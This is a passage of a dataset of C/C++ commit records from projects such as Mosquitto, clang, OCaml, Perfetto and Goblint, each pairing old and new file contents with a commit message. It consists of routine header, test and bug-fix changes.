mqtt3_context_cleanup(mqtt3_context *context)\n{\n\tif(!context) return;\n\n\tif(context->sock != -1){\n\t\tmqtt3_socket_close(context);\n\t}\n\tif(context->clean_start){\n\t\tmqtt3_db_subs_clean_start(context);\n\t\tmqtt3_db_client_delete(context);\n\t}\n\tif(context->id) free(context->id);\n\t\/* FIXME - clean messages and subscriptions *\/\n\tfree(context);\n}\n\n\n","subject":"Delete client info \/ subscription info on disconnect for clean_start == true.","message":"Delete client info \/ subscription info on disconnect for clean_start == true.\n","lang":"C","license":"bsd-3-clause","repos":"zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto"}
{"commit":"7e04b8a57e4ce2ac54140657e759edd165558cb7","old_file":"tests\/regression\/02-base\/69-ipmi-struct-blob-fixpoint.c","new_file":"tests\/regression\/02-base\/69-ipmi-struct-blob-fixpoint.c","old_contents":"","new_contents":"\/\/ PARAM: --enable kernel\n#include <linux\/module.h>\n#include <linux\/mutex.h>\n#include <linux\/init.h>\n#include <linux\/device.h>\n#include <linux\/compat.h>\n\nstruct ipmi_file_private\n{\n    struct file *file;\n};\n\nstatic DEFINE_MUTEX(ipmi_mutex);\n\nstatic int ipmi_open(struct inode *inode, struct file *file)\n{\n    struct ipmi_file_private *priv;\n    priv = kmalloc(sizeof(*priv), GFP_KERNEL);\n    mutex_lock(&ipmi_mutex);\n    priv->file = file; \/\/ should reach fixpoint from priv side effect from here\n    return 0;\n}\n\nstatic const struct file_operations ipmi_fops = {\n    .open = ipmi_open,\n};\n\nstatic int __init init_ipmi_devintf(void)\n{\n    register_chrdev(0, \"ipmidev\", &ipmi_fops);\n    return 0;\n}\nmodule_init(init_ipmi_devintf);\n","subject":"Add minimized bench ipmi_devintf fixpoint error test","message":"Add minimized bench ipmi_devintf fixpoint error test\n\nIncomparability between struct and blob in side effect.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b17244b8aaacaa4bdd06d076f16831ad76b6fb9f","old_file":"src\/new\/autonomous.c","new_file":"src\/new\/autonomous.c","old_contents":"\/* ======================================================================================================\n   ___________________________________________________________________________________________________\n  |  __        __   ________   __     __       __        ______   __     __   _________    ________   |\n  |  \\ \\      \/ \/  |   _____|  \\ \\   \/ \/      \/  \\      |  _   \\  \\ \\   \/ \/  |___   ___|  |   _____|  |\n  |   \\ \\    \/ \/   |  |_____    \\ \\_\/ \/      \/ \/\\ \\     | |_|  \/   \\ \\_\/ \/       | |      |  |_____   |\n  |    \\ \\  \/ \/    |   _____|    ) _ (      \/ \/__\\ \\    |  _  |     \\   \/        | |      |   _____|  |\n  |     \\ \\\/ \/     |  |_____    \/ \/ \\ \\    \/ ______ \\   | |_|  \\     | |         | |      |  |_____   |\n  |      \\__\/      |________|  \/_\/   \\_\\  \/_\/      \\_\\  |______\/     |_|         |_|      |________|  |\n  |___________________________________________________________________________________________________|\n\n====================================================================================================== *\/\n\nvoid pre_auton()\n{\n\n}\n\ntask autonomous()\n{\n\n}\n","new_contents":"\/* ======================================================================================================\n   ___________________________________________________________________________________________________\n  |  __        __   ________   __     __       __        ______   __     __   _________    ________   |\n  |  \\ \\      \/ \/  |   _____|  \\ \\   \/ \/      \/  \\      |  _   \\  \\ \\   \/ \/  |___   ___|  |   _____|  |\n  |   \\ \\    \/ \/   |  |_____    \\ \\_\/ \/      \/ \/\\ \\     | |_|  \/   \\ \\_\/ \/       | |      |  |_____   |\n  |    \\ \\  \/ \/    |   _____|    ) _ (      \/ \/__\\ \\    |  _  |     \\   \/        | |      |   _____|  |\n  |     \\ \\\/ \/     |  |_____    \/ \/ \\ \\    \/ ______ \\   | |_|  \\     | |         | |      |  |_____   |\n  |      \\__\/      |________|  \/_\/   \\_\\  \/_\/      \\_\\  |______\/     |_|         |_|      |________|  |\n  |___________________________________________________________________________________________________|\n\n====================================================================================================== *\/\n\nstatic void a_base_encoders_reset(void);\n\nvoid pre_auton()\n{\n    a_base_encoders_reset();\n}\n\ntask autonomous()\n{\n\n}\n\nstatic void a_base_encoders_reset()\n{\n    resetMotorEncoder(mBaseFL);\n    resetMotorEncoder(mBaseFR);\n    resetMotorEncoder(mBaseBL);\n    resetMotorEncoder(mBaseBR);\n}\n","subject":"Reset motor encoders in pre_auton","message":"Reset motor encoders in pre_auton\n","lang":"C","license":"mit","repos":"qsctr\/vex-4194b-2016"}
{"commit":"30b0db38ab47bbfcf3c12ec6c8907931ee33b247","old_file":"src\/engine\/render\/RenderSystem.h","new_file":"src\/engine\/render\/RenderSystem.h","old_contents":"#ifndef ENGINE_RENDER_RENDERSYSTEM_H\n#define ENGINE_RENDER_RENDERSYSTEM_H\n\n#include \"engine\/scene\/SceneSystem.h\"\n#include \"engine\/UI\/UISystem.h\"\n\n#include \"engine\/math\/vec3.h\"\n\nnamespace engine {\nnamespace render {\n\n\t\/**\n\t * RenderSystem is a parent class for the actual rendering systems.\n\t *\n\t * RenderSystem gets pointers to the sceneSystem and uiSystem and will build the visuals from that.\n\t *\/\n\tclass RenderSystem : public EngineSystem {\n\tprotected:\n\t\tvec3 cameraPos;\n\tpublic:\n\t\t~RenderSystem() {};\n\n\t\tvec3 getCameraPos(){\n\t\t\treturn cameraPos;\n\t\t}\n\n\t\tvoid setCameraPos(vec3 pos){\n\t\t\tcameraPos = pos;\n\t\t}\n\t};\n\n}\n}\n\n#endif\n","new_contents":"#ifndef ENGINE_RENDER_RENDERSYSTEM_H\n#define ENGINE_RENDER_RENDERSYSTEM_H\n\n#include \"engine\/scene\/SceneSystem.h\"\n#include \"engine\/UI\/UISystem.h\"\n\n#include \"engine\/math\/vec3.h\"\n\nnamespace engine {\nnamespace render {\n\n\t\/**\n\t * RenderSystem is a parent class for the actual rendering systems.\n\t *\n\t * RenderSystem gets pointers to the sceneSystem and uiSystem and will build the visuals from that.\n\t *\/\n\tclass RenderSystem : public EngineSystem {\n\tprotected:\n\t\tvec3 cameraPos;\n\tpublic:\n\t\t~RenderSystem() {};\n\n\t\tvec3 getCameraPos(){\n\t\t\treturn cameraPos;\n\t\t}\n\n\t\tvoid setCameraPos(vec3 pos){\n\t\t\tcameraPos = pos;\n\t\t}\n\n\t\tvirtual void uninit() = 0;\n\t\tvirtual void update() = 0;\n\n\t};\n\n}\n}\n\n#endif\n","subject":"Update is an abstract base function.","message":"Update is an abstract base function.\n","lang":"C","license":"bsd-2-clause","repos":"LauriM\/ProjectIce,LauriM\/ProjectIce"}
{"commit":"9d9c1caaee69f3f00743f5a2da14e9f2a7a57ede","old_file":"core\/alsp_src\/generic\/dfltsys.h","new_file":"core\/alsp_src\/generic\/dfltsys.h","old_contents":"\/*==================================================================*\n |\t\tdfltsys.h\n |\tCopyright (c) 1995, Applied Logic Systems, Inc.\n |\n |\t\t-- Default system settings for property tags\n |\n |\tAuthor: Ken Bowen\n |\tDate: 04\/10\/95\n *==================================================================*\/\n\n#define BCINTER\t\t1\n#define LIBBRK\t\t1\n#define SYS_OBP\t\t1\n#define HASH\t\t1\n#define GENSYM\t\t1\n#define OSACCESS\t1\n#define REXEC\t\t1\n#define WINIOBASIS\t1\n#define XPANDTM\t\t1\n#define FSACCESS\t1\n\n#define OLDLEXAN\t1\n#define OLDFIO\t\t1\n#define OLDCIO\t\t1  \n\n#define OLDCLOAD\t1\n\n\n#define PRIM_DBG\t1\n\n#undef OLDCONSULT\n\n#define FREEZE 0\n","new_contents":"\/*==================================================================*\n |\t\tdfltsys.h\n |\tCopyright (c) 1995, Applied Logic Systems, Inc.\n |\n |\t\t-- Default system settings for property tags\n |\n |\tAuthor: Ken Bowen\n |\tDate: 04\/10\/95\n *==================================================================*\/\n\n#define BCINTER\t\t1\n#define LIBBRK\t\t1\n#define SYS_OBP\t\t1\n#define HASH\t\t1\n#define GENSYM\t\t1\n#define OSACCESS\t1\n#define REXEC\t\t1\n#define WINIOBASIS\t1\n#define XPANDTM\t\t1\n#define FSACCESS\t1\n\n#define OLDLEXAN\t1\n#define OLDFIO\t\t1\n#define OLDCIO\t\t1  \n\n#define OLDCLOAD\t1\n\n\n#define PRIM_DBG\t1\n\n#undef OLDCONSULT\n\n#define FREEZE\t1\n","subject":"Reset FREEZE to 1 to avoid confusion","message":"Reset FREEZE to 1 to avoid confusion\n\nBack in 1998, there was clearly confusion about #if vs #ifdef when FREEZE got set to 0, which is a no-op because FREEZE is always used with #ifdef. Offending commit: 62f68f19fc8f64b7e3003001ee2710d0c90e2554","lang":"C","license":"mit","repos":"AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog"}
{"commit":"72b8f788149de5d667a0f76b674685bbd82dfc46","old_file":"test\/Sema\/c11-typedef-redef.c","new_file":"test\/Sema\/c11-typedef-redef.c","old_contents":"\/\/ RUN: %clang_cc1 -std=c11 %s -verify\n\ntypedef int type;\ntypedef type type;\ntypedef int type;\n\nvoid f(int N) {\n  typedef int type2;\n  typedef type type2;\n  typedef int type2;\n\n  typedef int vla[N]; \/\/ expected-note{{previous definition is here}}\n  typedef int vla[N]; \/\/ expected-error{{redefinition of typedef for variably-modified type 'int [N]'}}\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -std=c11 %s -verify\n\ntypedef int type;\ntypedef type type;\ntypedef int type;\n\nvoid f(int N) {\n  typedef int type2;\n  typedef type type2;\n  typedef int type2;\n\n  typedef int vla[N]; \/\/ expected-note{{previous definition is here}}\n  typedef int vla[N]; \/\/ expected-error{{redefinition of typedef for variably-modified type 'int [N]'}}\n\n  typedef int vla2[N];\n  typedef vla2 vla3; \/\/ expected-note{{previous definition is here}}\n  typedef vla2 vla3; \/\/ expected-error{{redefinition of typedef for variably-modified type 'vla2' (aka 'int [N]')}}\n}\n","subject":"Extend test-case as requested by Eli","message":"Extend test-case as requested by Eli\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@147974 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"32906dc26611ed18710c338b93136c2a487ada3b","old_file":"testsuite\/tests\/unboxed-primitive-args\/test_common.c","new_file":"testsuite\/tests\/unboxed-primitive-args\/test_common.c","old_contents":"\/**************************************************************************\/\n\/*                                                                        *\/\n\/*                                OCaml                                   *\/\n\/*                                                                        *\/\n\/*                  Jeremie Dimino, Jane Street Europe                    *\/\n\/*                                                                        *\/\n\/*   Copyright 2015 Institut National de Recherche en Informatique et     *\/\n\/*     en Automatique.                                                    *\/\n\/*                                                                        *\/\n\/*   All rights reserved.  This file is distributed under the terms of    *\/\n\/*   the GNU Lesser General Public License version 2.1, with the          *\/\n\/*   special exception on linking described in the file LICENSE.          *\/\n\/*                                                                        *\/\n\/**************************************************************************\/\n\n#include <caml\/mlvalues.h>\n#include <bigarray.h>\n\nchar *ocaml_buffer;\nchar *c_buffer;\n\nvalue test_set_buffers(value v_ocaml_buffer, value v_c_buffer)\n{\n  ocaml_buffer = Caml_ba_data_val(v_ocaml_buffer);\n  c_buffer = Caml_ba_data_val(v_c_buffer);\n  return Val_unit;\n}\n\nvalue test_cleanup_normal(void)\n{\n  return Val_int(0);\n}\n\ndouble test_cleanup_float(void)\n{\n  return 0.;\n}\n","new_contents":"\/**************************************************************************\/\n\/*                                                                        *\/\n\/*                                OCaml                                   *\/\n\/*                                                                        *\/\n\/*                  Jeremie Dimino, Jane Street Europe                    *\/\n\/*                                                                        *\/\n\/*   Copyright 2015 Institut National de Recherche en Informatique et     *\/\n\/*     en Automatique.                                                    *\/\n\/*                                                                        *\/\n\/*   All rights reserved.  This file is distributed under the terms of    *\/\n\/*   the GNU Lesser General Public License version 2.1, with the          *\/\n\/*   special exception on linking described in the file LICENSE.          *\/\n\/*                                                                        *\/\n\/**************************************************************************\/\n\n#include <caml\/mlvalues.h>\n#include <caml\/bigarray.h>\n\nchar *ocaml_buffer;\nchar *c_buffer;\n\nvalue test_set_buffers(value v_ocaml_buffer, value v_c_buffer)\n{\n  ocaml_buffer = Caml_ba_data_val(v_ocaml_buffer);\n  c_buffer = Caml_ba_data_val(v_c_buffer);\n  return Val_unit;\n}\n\nvalue test_cleanup_normal(void)\n{\n  return Val_int(0);\n}\n\ndouble test_cleanup_float(void)\n{\n  return 0.;\n}\n","subject":"Update tests\/unboxed-primitive-args: bigarray.h is now in caml\/","message":"Update tests\/unboxed-primitive-args: bigarray.h is now in caml\/\n","lang":"C","license":"lgpl-2.1","repos":"gerdstolpmann\/ocaml,gerdstolpmann\/ocaml,gerdstolpmann\/ocaml,gerdstolpmann\/ocaml,gerdstolpmann\/ocaml"}
{"commit":"0315072ff2ad7dc4707504901c9bcbf2dd77f75e","old_file":"apps\/Mcp9700aTemperatureSensor\/Mcp9700aAppComponent\/mcp9700aOnWp.c","new_file":"apps\/Mcp9700aTemperatureSensor\/Mcp9700aAppComponent\/mcp9700aOnWp.c","old_contents":"#include \"legato.h\"\n#include \"interfaces.h\"\n#include \"mcp970x.h\"\n\nstatic int WpAdcFunction(int32_t *valueUv)\n{\n    return le_adc_ReadValue(\"EXT_ADC0\", valueUv);\n}\n\nle_result_t mangOH_ambientTemperature_Read(double *temperature)\n{\n    int32_t tempInt;\n    int res = mcp970x_read_temperature(MCP970X_CHIP_9700A, WpAdcFunction, &tempInt);\n    if (res != 0)\n    {\n        return LE_FAULT;\n    }\n\n    *temperature = tempInt \/ 1000.0;\n    return LE_OK;\n}\n\n\nCOMPONENT_INIT\n{\n}\n","new_contents":"#include \"legato.h\"\n#include \"interfaces.h\"\n#include \"mcp970x.h\"\n\nstatic int WpAdcFunction(int32_t *valueUv)\n{\n    int32_t valueMv;\n    le_result_t res = le_adc_ReadValue(\"EXT_ADC0\", &valueMv);\n    if (res == LE_OK)\n    {\n        *valueUv = valueMv * 1000;\n    }\n\n    LE_DEBUG(\"Read %d uV from the ADC during ambient temperature measurement\", *valueUv);\n\n    return res;\n}\n\nle_result_t mangOH_ambientTemperature_Read(double *temperature)\n{\n    int32_t tempInt;\n    int res = mcp970x_read_temperature(MCP970X_CHIP_9700A, WpAdcFunction, &tempInt);\n    if (res != 0)\n    {\n        return LE_FAULT;\n    }\n\n    *temperature = tempInt \/ 1000.0;\n    LE_DEBUG(\"Read ambient temperature %f C\", *temperature);\n    return LE_OK;\n}\n\n\nCOMPONENT_INIT\n{\n}\n","subject":"Add in some logs for the MCP9700A","message":"Add in some logs for the MCP9700A\n\nThe temperatures being read back are higher than expected.  Add some\nlogs until the issue is resolved.\n","lang":"C","license":"mpl-2.0","repos":"mangOH\/mangOH,mangOH\/mangOH,mangOH\/mangOH,mangOH\/mangOH"}
{"commit":"eb6f229e66a6d86499b00a806297a8610620f9cb","old_file":"tests\/check-gibber-xmpp-node.c","new_file":"tests\/check-gibber-xmpp-node.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n#include <gibber\/gibber-xmpp-node.h>\n\n#include <check.h>\n\nSTART_TEST (test_instantiation)\n{\n  GibberXmppNode *node;\n  node = gibber_xmpp_node_new (\"test\");\n  fail_unless (node != NULL);\n}\nEND_TEST\n\nTCase *\nmake_gibber_xmpp_node_tcase (void)\n{\n    TCase *tc = tcase_create (\"XMPP Node\");\n    tcase_add_test (tc, test_instantiation);\n    return tc;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n#include <gibber\/gibber-xmpp-node.h>\n\n#include <check.h>\n\nSTART_TEST (test_instantiation)\n{\n  GibberXmppNode *node;\n  node = gibber_xmpp_node_new (\"test\");\n  fail_unless (node != NULL);\n\n  node = gibber_xmpp_node_new (NULL);\n  fail_unless (node != NULL);\n}\nEND_TEST\n\nSTART_TEST (test_language)\n{\n  GibberXmppNode *node;\n  const gchar *lang;\n\n  node = gibber_xmpp_node_new (\"test\");\n  lang = gibber_xmpp_node_get_language (node);\n  fail_unless (lang == NULL);\n\n  gibber_xmpp_node_set_language (node, \"us\");\n  lang = gibber_xmpp_node_get_language (node);\n  fail_unless (strcmp(lang, \"us\") == 0);\n}\nEND_TEST\n\nTCase *\nmake_gibber_xmpp_node_tcase (void)\n{\n    TCase *tc = tcase_create (\"XMPP Node\");\n    tcase_add_test (tc, test_instantiation);\n    tcase_add_test (tc, test_language);\n    return tc;\n}\n","subject":"Test gibber_xmpp_node_[gs]et_language() and node creation with a NULL name","message":"Test gibber_xmpp_node_[gs]et_language() and node creation with a NULL name\n\n\n20070609084741-f974e-602d6f3a4ba28432895c80518d5ea7daa5c85389.gz\n","lang":"C","license":"lgpl-2.1","repos":"freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut,freedesktop-unofficial-mirror\/telepathy__telepathy-salut"}
{"commit":"9222b15d2617fda968085abd5b081cb093b76b65","old_file":"WebCore\/platform\/graphics\/FontSmoothingMode.h","new_file":"WebCore\/platform\/graphics\/FontSmoothingMode.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2009 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#ifndef FontSmoothingMode_h\n#define FontSmoothingMode_h\n\nnamespace WebCore {\n\n    enum FontSmoothingMode { AutoSmoothing, NoSmoothing, Antialiased, SubpixelAntialiased };\n    \n} \/\/ namespace WebCore\n\n#endif \/\/ FontSmoothingMode_h\n","subject":"Add file that was missing from the last change","message":"Add file that was missing from the last change\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@48475 bbb929c8-8fbe-4397-9dbb-9b2b20218538","lang":"C","license":"bsd-3-clause","repos":"primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs"}
{"commit":"d71e81285378e9b1d6a902d970d28730156868d4","old_file":"japlay.h","new_file":"japlay.h","old_contents":"#ifndef _JAPLAY_H_\n#define _JAPLAY_H_\n\n#include <stdbool.h> \/* bool *\/\n\nstruct song;\nstruct playlist_entry;\nstruct playlist;\n\nstruct playlist_entry *get_cursor(void);\n\nextern struct playlist *japlay_queue, *japlay_history;\n\nint get_song_info(struct song *song);\n\nstruct playlist_entry *add_file_playlist(struct playlist *playlist,\n\t\t\t\t\t const char *filename);\nint add_dir_or_file_playlist(struct playlist *playlist, const char *path);\n\nint load_playlist(struct playlist *playlist, const char *filename);\n\nvoid japlay_play(void);\nvoid japlay_set_autovol(bool enabled);\nvoid japlay_seek_relative(long msecs);\nvoid japlay_seek(long msecs);\nvoid japlay_stop(void);\nvoid japlay_pause(void);\nvoid japlay_skip(void);\n\nint japlay_init(int *argc, char **argv);\nvoid japlay_exit(void);\n\n#endif\n","new_contents":"#ifndef _JAPLAY_H_\n#define _JAPLAY_H_\n\n#include <stdbool.h> \/* bool *\/\n\nstruct song;\nstruct playlist_entry;\nstruct playlist;\n\nstruct playlist_entry *get_cursor(void);\n\nextern struct playlist *japlay_queue, *japlay_history;\n\nint get_song_info(struct song *song);\n\nstruct playlist_entry *add_file_playlist(struct playlist *playlist,\n\t\t\t\t\t const char *filename);\nint add_dir_or_file_playlist(struct playlist *playlist, const char *path);\n\nint load_playlist(struct playlist *playlist, const char *filename);\n\nvoid start_playlist_scan(void);\n\nvoid japlay_play(void);\nvoid japlay_set_autovol(bool enabled);\nvoid japlay_seek_relative(long msecs);\nvoid japlay_seek(long msecs);\nvoid japlay_stop(void);\nvoid japlay_pause(void);\nvoid japlay_skip(void);\n\nint japlay_init(int *argc, char **argv);\nvoid japlay_exit(void);\n\n#endif\n","subject":"Add missing declaration for start_playlist_scan()","message":"Add missing declaration for start_playlist_scan() [CORRECTIVE]\n","lang":"C","license":"bsd-3-clause","repos":"japeq\/japlay"}
{"commit":"63f811c3a90072f8c71d6cb0ef4890f5e66b04f6","old_file":"os\/atOSDefs.h","new_file":"os\/atOSDefs.h","old_contents":"\n#ifndef AT_OS_DEFS_H\n#define AT_OS_DEFS_H\n\n\n\/\/ Include the window files if this is the windows version.\n#ifdef _MSC_VER\n    #include <windows.h>\n#endif\n\n\/\/ Include other files to give OS-independent interfaces\n#include \"atSleep.h\"\n#include \"atStrCaseCmp.h\"\n#include \"atSymbols.h\"\n#include \"atTime.h\"\n\n\n#endif\n\n","new_contents":"\n#ifndef AT_OS_DEFS_H\n#define AT_OS_DEFS_H\n\n\n\/\/ Include the window files if this is the windows version.\n#ifdef _MSC_VER\n    #include <windows.h>\n#endif\n\n\/\/ Include other files to give OS-independent interfaces\n#include \"atSleep.h\"\n#include \"atStr.h\"\n#include \"atSymbols.h\"\n#include \"atTime.h\"\n\n\n#endif\n\n","subject":"Change to new name atStr.h.","message":"Change to new name atStr.h.\n","lang":"C","license":"apache-2.0","repos":"ucfistirl\/atlas,ucfistirl\/atlas"}
{"commit":"77be7b4696b2dca4ea562f4b273d4ed4e5175df2","old_file":"doc\/tutorial_src\/side_effect.c","new_file":"doc\/tutorial_src\/side_effect.c","old_contents":"#include <cgreen\/cgreen.h>\n#include <cgreen\/mocks.h>\n\nstatic int reader(void *stream) {\n    return (int)mock(stream);\n}\n\nstatic void writer(void *stream, char *paragraph) {\n    mock(stream, paragraph);\n}\n\nchar *read_paragraph(int (*read)(void *), void *stream);\n\nvoid by_paragraph(int (*read)(void *), void *in, void (*write)(void *, char *), void *out) {\n    while (1) {\n        char *line = read_paragraph(read, in);\n        if ((line == NULL) || (strlen(line) == 0)) {\n            return;\n        }\n        (*write)(out, line);\n        free(line);\n    }\n}\n\nstatic int stub_stream(void *stream) {\n    return (int)mock(stream);\n}\n\nstatic void update_counter(void * counter) {\n    *(int*)counter = *(int*)counter + 1;\n}\n\nEnsure(using_side_effect) {\n    int number_of_times_reader_was_called = 0;\n    expect(reader, will_return('\\n'));\n    always_expect(reader,\n                  will_return(EOF),\n                  with_side_effect(&update_counter,\n                                  &number_of_times_reader_was_called));\n    expect_never(writer);\n    by_paragraph(&reader, NULL, &writer, NULL);\n\n    assert_that(number_of_times_reader_was_called, is_equal_to(1));\n}\n","new_contents":"#include <cgreen\/cgreen.h>\n#include <cgreen\/mocks.h>\n\nstatic int reader(void *stream) {\n    return (int)mock(stream);\n}\n\nstatic void writer(void *stream, char *paragraph) {\n    mock(stream, paragraph);\n}\n\nchar *read_paragraph(int (*read)(void *), void *stream);\n\nvoid by_paragraph(int (*read)(void *), void *in, void (*write)(void *, char *), void *out) {\n    while (1) {\n        char *line = read_paragraph(read, in);\n        if ((line == NULL) || (strlen(line) == 0)) {\n            return;\n        }\n        (*write)(out, line);\n        free(line);\n    }\n}\n\nstatic int stub_stream(void *stream) {\n    return (int)mock(stream);\n}\n\nstatic void update_counter(void * counter) {\n    *(int*)counter = *(int*)counter + 1;\n}\n\nEnsure(using_side_effect) {\n    int number_of_times_reader_was_called = 0;\n    expect(reader, will_return('\\n'));\n    always_expect(reader,\n                  will_return(EOF),\n                  with_side_effect(&update_counter,\n                                  &number_of_times_reader_was_called));\n    never_expect(writer);\n    by_paragraph(&reader, NULL, &writer, NULL);\n\n    assert_that(number_of_times_reader_was_called, is_equal_to(1));\n}\n","subject":"Update expect_never -> never_expect in doc","message":"[doc] Update expect_never -> never_expect in doc\n\nThe file of side_effect.c in the tutorial used the old version of\n`never_expect` function. This commit updates the side-effect file to\nhave the new version of the function.\n","lang":"C","license":"isc","repos":"cgreen-devs\/cgreen,cgreen-devs\/cgreen,cgreen-devs\/cgreen,cgreen-devs\/cgreen,cgreen-devs\/cgreen"}
{"commit":"3afe5ce3b656cc41fe116c3d2c455d2131fba2b3","old_file":"include\/perfetto\/protozero\/contiguous_memory_range.h","new_file":"include\/perfetto\/protozero\/contiguous_memory_range.h","old_contents":"\/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n#define INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n\n#include <assert.h>\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace protozero {\n\n\/\/ Keep this struct trivially constructible (no ctors, no default initializers).\nstruct ContiguousMemoryRange {\n  uint8_t* begin;\n  uint8_t* end;  \/\/ STL style: one byte past the end of the buffer.\n\n  inline bool is_valid() const { return begin != nullptr; }\n  inline void reset() { begin = nullptr; }\n  inline size_t size() { return static_cast<size_t>(end - begin); }\n};\n\n}  \/\/ namespace protozero\n\n#endif  \/\/ INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n","new_contents":"\/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n#define INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n\n#include <assert.h>\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace protozero {\n\n\/\/ Keep this struct trivially constructible (no ctors, no default initializers).\nstruct ContiguousMemoryRange {\n  uint8_t* begin;\n  uint8_t* end;  \/\/ STL style: one byte past the end of the buffer.\n\n  inline bool is_valid() const { return begin != nullptr; }\n  inline void reset() { begin = nullptr; }\n  inline size_t size() const { return static_cast<size_t>(end - begin); }\n};\n\n}  \/\/ namespace protozero\n\n#endif  \/\/ INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n","subject":"Mark ContiguousMemoryRange::size as const. am: f2c28cd765 am: 1b5ab79b0b am: 69614c4761 am: e447d8a1c2 am: b0149a850e","message":"Mark ContiguousMemoryRange::size as const. am: f2c28cd765 am: 1b5ab79b0b am: 69614c4761 am: e447d8a1c2 am: b0149a850e\n\nChange-Id: If4c99f80ffc05a66167073f15cf83e73e7329f4b\n","lang":"C","license":"apache-2.0","repos":"google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto"}
